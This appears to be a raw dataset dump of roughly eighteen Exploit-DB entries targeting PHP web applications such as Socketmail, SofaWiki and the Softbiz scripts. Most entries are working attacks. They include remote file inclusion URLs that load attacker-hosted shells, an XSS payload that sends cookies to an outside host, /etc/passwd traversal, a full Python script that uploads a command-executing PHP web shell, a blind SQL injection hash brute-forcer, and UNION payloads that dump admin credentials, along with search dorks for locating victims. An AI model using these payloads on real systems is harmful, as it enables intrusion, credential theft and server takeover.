deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1826
Description: Socketmail 2.2.6 - 'site_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-25
Author: Aesthetico

Exploit:
Title: Socketmail <= 2.2.6 - Remote File Include Vulnerability
-----------------------------------------------------------------
Vendor: Creative Digital Resources
URL: http://socketmail.com
-----------------------------------------------------------------

Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------
Search for: "Powered by SocketMail"
-----------------------------------------------------------------

Exploitation(tested with Lite-Edition and Pro-Edition):

/index.php?site_path=http://www.yourspace.com/yourscript.php?

# milw0rm.com [2006-05-25]
Exploit-DB #4554
Description: Socketmail 2.2.8 - 'fnc-readmail3.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-22
Author: BiNgZa

Exploit:
Vulnerability Type: Remote File Inclusion
Vulnerable file: /mail/content/fnc-readmail3.php
Exploit URL: http://localhost/mail/content/fnc-readmail3.php?__SOCKETMAIL_ROOT=http://localhost/shell.txt?
Method: get
Register_globals: On
Vulnerable variable: __SOCKETMAIL_ROOT
Line number: 399
Lines:

----------------------------------------------
} else {
    include_once($__SOCKETMAIL_ROOT."/content/fnc-readmail.std.php");
}

----------------------------------------------

GrEeTs To sHaDoW sEcUrItY TeAm, str0ke

BiG sHoUt OuT tO udplink.net

FoUnD By BiNgZa

DoRk:"Powered by SocketMail Lite version 2.2.8. Copyright Â© 2002-2006"

DORK2: "Powered by SocketMail"

shadowcrew@hotmail.co.uk

shadow.php0h.com

# milw0rm.com [2007-10-22]
Exploit-DB #18868
Description: Sockso 1.51 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-12
Author: Ciaran McNally

Exploit:
#######################################################################

Application:     Sockso 
                 http://sockso.pu-gh.com
Versions:        <= 1.5
Platforms:       Windows, Mac, Linux
Bug:             Persistant XSS
Exploitation:    remote
Date:            11 May 2012.
Author:          Ciaran McNally
Web:             http://smwyg.com/blog/#sockso-persistant-xss-attack

Google Dork:     inurl:"4444" sockso

#######################################################################

1) Bug.
2) The exploit.
3) Fix.

#######################################################################
Sockso is a free, open-source, personal music host server for
everyone! It's designed to be as simple as possible so that anyone with
a mouse and some mp3's can get their friends listening to their music
across the internet in seconds!"
#######################################################################

======
1) Bug
======

On Registration page (normally @ "4444/user/register") the username 
input is never sanitized. This is then stored in the database of users 
and displayed in the admin panel & user pages.

#######################################################################

==============
2) The exploit
==============

Using a username value of...

<script>alert('xss');</script>

Or the admin cookie session can also be retrieved by using...

<script >new Image().src="bleh.com/xss.php?c="+encodeURI(document.cookie)</script>


#######################################################################

======
3) Fix
======

https://github.com/rodnaph/sockso/pull/99/files


#######################################################################
Exploit-DB #18798
Description: Soco CMS - Local File Inclusion
Type: webapps
Platform: php
Date: 2012-04-29
Author: BHG Security Center

Exploit:
#######################################################################################
# Exploit Title: Soco CMS Local File Include
# Google Dork: "Powered by Soco"
# Date: 28/04/2012
# Author: #BHG Security Center
# H0me : www.black-hg.org
# Software Link: http://hentan.eu/php/Soco/
# Version: last version
# Tested on: Linux/Ubuntu - Windows7
#######################################################################################
# p0c :
#
# index.php?page=../../../../../../../../../../../../../etc/passwd%00
#
#######################################################################################
# Special Thanks To : Net.Edit0r - A.Cr0x - 3H34N - Mr.XHat - G3n3rall - Nol1m1t
#######################################################################################
# GreetZ : Mikili - 0x0ptim0us - 2MzRp - KingCope - Crim3r
#######################################################################################
Exploit-DB #51999
Description: SofaWiki 3.9.2 - Remote Command Execution (RCE) (Authenticated)
Type: webapps
Platform: php
Date: 2024-04-21
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: SofaWiki 3.9.2 - Remote Command Execution (RCE) (Authenticated)
# Discovered by: Ahmet Ümit BAYRAM
# Discovered Date: 18.04.2024
# Vendor Homepage: https://www.sofawiki.com
# Software Link: https://www.sofawiki.com/site/files/snapshot.zip
# Tested Version: v3.9.2 (latest)
# Tested on: MacOS


import requests
import random
import sys
import time

def main():
if len(sys.argv) < 4:
print("Usage: python exploit.py <base_url> <username> <password>")
sys.exit(1)

base_url, username, password = sys.argv[1:4]


filename = f"{random.randint(10000, 99999)}.phtml"


session = requests.Session()


login_url = f"{base_url}/index.php"
login_data = {
"submitlogin": "Login",
"username": username,
"pass": password,
"name": "SofaWiki",
"action": "login"
}
print("Exploiting...")
time.sleep(1)
response = session.post(login_url, data=login_data)
if "Logout" not in response.text:
print("Login failed:", response.text)
sys.exit()

print("Login Successful")
time.sleep(1)
php_shell_code = """
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
"""

print("Shell uploading...")
time.sleep(1)
upload_url = f"{base_url}/index.php"
files = {
"uploadedfile": (filename, php_shell_code, "text/php"),
"action": (None, "uploadfile"),
"MAX_FILE_SIZE": (None, "8000000"),
"filename": (None, filename),
"content": (None, "content")
}
response = session.post(upload_url, files=files)
if response.status_code == 200:
print(f"Your shell is ready: {base_url}/site/files/{filename}")
else:
print("Upload failed:", response.text)

if __name__ == "__main__":
main()
Exploit-DB #6539
Description: Sofi WebGui 0.6.3 PRE - 'mod_dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-09-23
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #########################################################################
 #  [ Sofi WebGui <= 0.6.3 PRE ]   Remote File Inclusion Vulnerability   #
 #########################################################################
 #
 # Script site: http://www.muskatli.net/studio/hu/?f=sofi-wgui-hu
 # Download: http://www.muskatli.net/site/files/news_data/100004_100192_sofi_webgui_0.6.0.pre-release-3.tar.gz
 #
 # Vuln: http://site.com/sofi_webgui/hu/modules/reg-new/modstart.php?mod_dir=[spread???]
 #      
 #
 # Bug: ./sofi_webgui/hu/modules/reg-new/modstart.php (line: 26)
 #
 # ...
 # 	if($ff=="") $ff = "index";
 #	$file_name = "m_$ff.php";
 #
 #	//start web module
 #	include("$mod_dir/$file_name");		// RFI
 # ... 	 
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-23]
Exploit-DB #11189
Description: Soft Direct 1.05 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-18
Author: indoushka

Exploit:
========================================================================================                  
| # Title        : Soft Direct v1.05 Multti Vulnerability      
| # Author       : indoushka                                                               
| # email        : indoushka@hotmail.com                                                   
| # Home         : www.iq-ty.com/vb                                                                             
| # Script Home  : http://hotfile.com/dl/23890178/c3b1ee3/SoftDirect.v1.05.rar.html                                                                                                                            
| # Dork         : [ Software Directory Powered by SoftDirec 1.05 ]                                      
| # Tested on    : windows SP2 Fran챌ais V.(Pnx2 2.0) + Lunix Fran챌ais v.(9.4 Ubuntu)       
| # Bug          : Mullti                                                                    
======================      Exploit By indoushka       =================================
# Exploit  : 
 
 1- By Pass Login
 
 http://127.0.0.1/softdirec/admin/home.php
 
 http://127.0.0.1/softdirec/admin/settings.php
 
 2- XSS
 
http://127.0.0.1/softdirec/library/delete_confirm.php?delete=yes&id=>"><ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>&return=souk%20naamane&type=hacked%20by&catdel=indoushka
 
================================   Dz-Ghost Team   ========================================================
Greetz : 횚횩횗횉 찼횙횩횉채 챈찼횉챠횋 횙챠횕챠 횊찼횣횊횉횙 22 + 채횉횙 찾횣횙횩횗 + 채횉횙 횎챠횉횗횎 + 채횉횙 횉찼횑찼횦횋 + 채횉횙 횉찼찾횙챠찼횋
+ 채횉횙 횎찼찾횙횉채 + 채횉횙 채횕횗챈찾횋 +채횉횙 찾횤채챠횋 + 채횉횙 챈횑횕횋 +채횉횙 횄횤횉횕챠횗 + 채횉횙 횦횉횙 챈찾횩채횉횙 + 채횉횙 챈책횗횉채
Exploit-db Team (loneferret+Exploits+dookie2000ca)
all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 * www.hackteach.org
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * www.cyber-mirror.org
www.forums.ibb7.com * www.owned-m.com *Stake (v4-team.com) * www.dev-chat.com  * Cyb3r IntRue (avengers team) 
* www.securityreason.com * www.packetstormsecurity.org * www.best-sec.net * www.zone-h.net * www.m-y.cc 
* www.hacker.ps * no-exploit.com * www.bug-blog.de * www.bawassil.com * www.host4ll.com * www.xp10.me 
www.forums.soqor.net * www.alkrsan.net * blackc0der (www.forum.aria-security.com) * www.kadmiwe.net
SoldierOfAllah (www.m4r0c-s3curity.cc) * www.arhack.net * www.google.com * www.sec-eviles.com    
www.mriraq.com * www.dzh4cker.l9l.org * www.goyelang.cn * www.arabic-m.com * www.securitywall.org 
r1z (www.sec-r1z.com) * www.zac003.persiangig.ir * www.0xblackhat.ir * www.mormoroth.net 
------------------------------------------------------------------------------------------------------------
Exploit-DB #26158
Description: Soft4e ECW-Shop 6.0.2 - 'index.php' HTML Injection
Type: webapps
Platform: php
Date: 2005-08-16
Author: John Cobb

Exploit:
source: https://www.securityfocus.com/bid/14579/info

ECW Shop is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

http://www.example.com/index.php?c=srch&ctg=Cat_1&id=754ce025144839c2abe369c3
6d90d8e9&key=1&comp=1&min=1&max=><H1>DEFACED!</H1>
http://www.example.com/index.php?id=754ce025144839c2abe369c36d90d8e9&c=srch&i
x=1
Exploit-DB #26155
Description: Soft4e ECW-Shop 6.0.2 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-08-16
Author: John Cobb

Exploit:
source: https://www.securityfocus.com/bid/14576/info

ECW Shop is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

The consequences of this attack may vary depending on the type of queries that can be influenced, and the implementation of the database. 

http://www.example.com/index.php?c=srch&ctg=Cat_1&id=754ce025144839c2abe369c3
6d90d8e9&key=1&comp=1&min='&max=1
http://www.example.com/index.php?c=srch&ctg=Cat_1&id=754ce025144839c2abe369c3
6d90d8e9&key=1&comp=1&min=1&max='
Exploit-DB #1594
Description: SoftBB 0.1 - 'mail' Blind SQL Injection
Type: webapps
Platform: php
Date: 2006-03-19
Author: LOTFREE

Exploit:
#!/usr/bin/env python
# LOTFREE TEAM 03/2006
# http://lotfree.next-touch.com/
# http://membres.lycos.fr/lotfree/sploits/LOTF-SoftBB.py
#
# Vulnerability info
# Product : SoftBB
# Version : 0.1
#
# The field 'mail' in reg.php is used directly in a SQL query :
# $sql = 'SELECT pseudo,mail FROM '.$prefixtable.'membres WHERE pseudo = "'.add_gpc($pseudoreg).'" OR mail = "'.$mail.'"';
# We can deduce deduce the result of some sql querys according to the error messages returned
# The exploit test the characters of the md5 hash one by one using a special query
import httplib, urllib

# Change the following values...
admin="admin"
server="localhost"
path="/forum"
#
hash=""
chars=('a','b','c','d','e','f','1','2','3','4','5','7','8','9','0')

print "LOTFREE TEAM SoftBB BruteForcing tool"
print "-------------------------------------"
for i in range(1,33):
  print "Brute forcing hash["+str(i)+"]"
  for a in chars:
    params=urllib.urlencode({'pseudo':admin,
    'mdp':'1',
    'mdpc':'1',
    'mail':'" union select pseudo,1 from softbb_membres where pseudo="'+admin+'" and substr(mdp,'+str(i)+',1)="'+a+'" limit 1,1#',
    'condok':'true'})
    headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
    conn = httplib.HTTPConnection(server)
    conn.request("POST", path+"/index.php?page=reg", params, headers)
    response = conn.getresponse()
    data = response.read()
    conn.close()
    if data.find("Ce pseudonyme est d")>0:
      hash=hash+a
      continue

print
if len(hash)==32:
  print "Found hash =",hash,"for account",admin
  print "You can use http://md5.rednoize.com/ to crack the md5 hash"
else:
  print "Exploit failed... verify the path to the forum or try changing the limit 1,1 in the sql request..." 

# milw0rm.com [2006-03-19]
Exploit-DB #28490
Description: SoftBB 0.1 - 'Page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-05
Author: ThE__LeO

Exploit:
source: https://www.securityfocus.com/bid/19847/info

SoftBB is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?page=<script>alert('hacking%20xss')</script>
Exploit-DB #4618
Description: Softbiz Ad Management plus Script 1 - SQL Injection
Type: webapps
Platform: php
Date: 2007-11-11
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####            Softbiz Ad Management plus Script ver 1 SQL INJECTION            ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#Script Download : http://www.softbizscripts.com/                                   #
#                                                                                   #
#                                                                                   #
#####################################################################################
#Injection Adress : http://sitename/ads.php?package=<SQL C0de>                      #
#                                                                                   #
#SQL C0de : 999999%20union/**/select/**/1,2,3,4,5,admin_name,pwd,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/from/**/sbbanners_admin/*
#                                                                                   #
#####################################################################################
#Help :                                                                             #
#                                                                                   #
#Step 1 : Register in Site                                                          #
#Step 2 : Login in User panel with your email and password                          #
#Step 3 : Go too Sql address and find admin username and password                   #
#Step 4 : Go too http://sitename/admin/ and login with admin username and password  #
#Step 5 :  :)                                                                         #
#                                                                                   #
#####################################################################################
#                                                                                   #
#Our site : Ircrash.com                                                             #
#                                                                                   #
#                                 TNX : GOD                                         #
#####################################################################################

# milw0rm.com [2007-11-11]
Exploit-DB #14910
Description: Softbiz Article Directory Script - 'sbiz_id' Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-09-05
Author: h4ck3r

Exploit:
===========================================================
[~] Title: Article Directory (sbiz_id) Blind SQL Injection Vuln
[~] Script: Article Directory
[~] Price: $65
[~] Link: http://www.softbizscripts.com/article-management-script.php
===========================================================
[~] Author: BorN To K!LL - h4ck3r
[~] Contact: SQL@hotmail.co.uk
===========================================================
[~] 3xploit:
/article_details.php?sbiz_id=[Blind-Injection]

[~] Example:
server/article_details.php?sbiz_id=13 and substring(version(),1,1)=4    // False ,,
server/article_details.php?sbiz_id=13 and substring(version(),1,1)=5    // True ,,
===========================================================
[~] Greetings:
bool Greetings = True;
if (Greetings = True)
{
    cout<<"Dr.2"
          <<"Q8 H4x0r"
          <<"Dr.Faustus"
          <<"AsbMay's Group"
          <<"darkc0de team"
          <<"my wife.."
          <<"and all friends \n";
}
else
{
    cout<<"No greeting ..\n";
}
===========================================================
Exploit-DB #4617
Description: Softbiz Auctions Script - 'product_desc.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-11-11
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####                    Softbiz Auctions Script Sql Injection                    ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#Script Download : http://www.softbizscripts.com/                                   #
#Google Dork : "Starting bid" "Powered by SoftbizScripts"                           #
#                                                                                   #
#                                                                                   #
#Injection Adress : http://sitename/product_desc.php?id=<SQL C0de>                  #
#                                                                                   #
#SQL C0de : 999999%20union/**/select/**/0,1,admin_name,3,4,5,6,7,8,9,10,pwd,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/from/**/sbauctions_admin/*
#                                                                                   #
#                                                                                   #
#Our site : Ircrash.com                                                             #
#                                                                                   #
#                                                                                   #
#                                 TNX : GOD                                         #
#####################################################################################

# milw0rm.com [2007-11-11]
Exploit-DB #12245
Description: Softbiz B2B trading Marketplace Script - buyers_subcategories SQL Injection
Type: webapps
Platform: php
Date: 2010-04-15
Author: AnGrY BoY

Exploit:
# Exploit Title: Softbiz B2B trading Marketplace Script buyers_subcategories SQL Injection Vulnerability
# Date   :15/4/2010
# Author : AnGrY BoY
# Contact: h4kurd@hotmail.com & h4kurd@yahoo.com
# Home   : http://www.kurd-security.com
# Software Link : N/A
# Version : Softbiz B2B trading Marketplace Script
# Tested on : windows SP2
# CVE : 0
# Dork     : buyers_subcategories.php?IndustryID=
 
 
 
# expolit:


# http://localhost/path/buyers_subcategories.php?IndustryID=[SQL]
			
# http://localhost/path/buyers_subcategories.php?IndustryID=1+union+select+1,2,concat(LoginID,0x3d,password)+from+admin--
 
=============================================
# Gre3tZ :- all kurd-security members
Exploit-DB #10656
Description: SoftBiz B2B trading Marketplace Script - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-25
Author: AnGrY BoY

Exploit:
[+]  B2B Trading Marketplace SQL Injection Vulnerability

[+]  Software : B2B Trading Marketplace Script
[+]  Author   : AnGrY BoY
[+]  Contact  : h4kurd@hotmail.com & h4kurd@yahoo.com
[+]  Home     : http://www.kurd-security.com    http://www.h4kurd.com
=====================================================================================


[+]  Dork     : cat_sell.php?cid=  or  selloffers.php?cid=


[+]expolit:
                                      
http://localhost/path/selloffers.php?cid=1+union+all+select 1,concat(sb_admin_name,0x3e,sb_pwd),3,4,5,6,7,8+from+b2b_admin--	

or 
                            
http://localhost/path/cat_sell.php?cid=1+union+all+select 1,concat(sb_admin_name,0x3e,sb_pwd),3,4,5,6,7,8+from+sbbleads_admin--


[+] example
[+] http://www.youtube.com/watch?v=uEK_Ah3htr0
======================================================================================
[+]Special Thanks:- Hangaw_hawlery & FormatXformaT   and all kurd-security members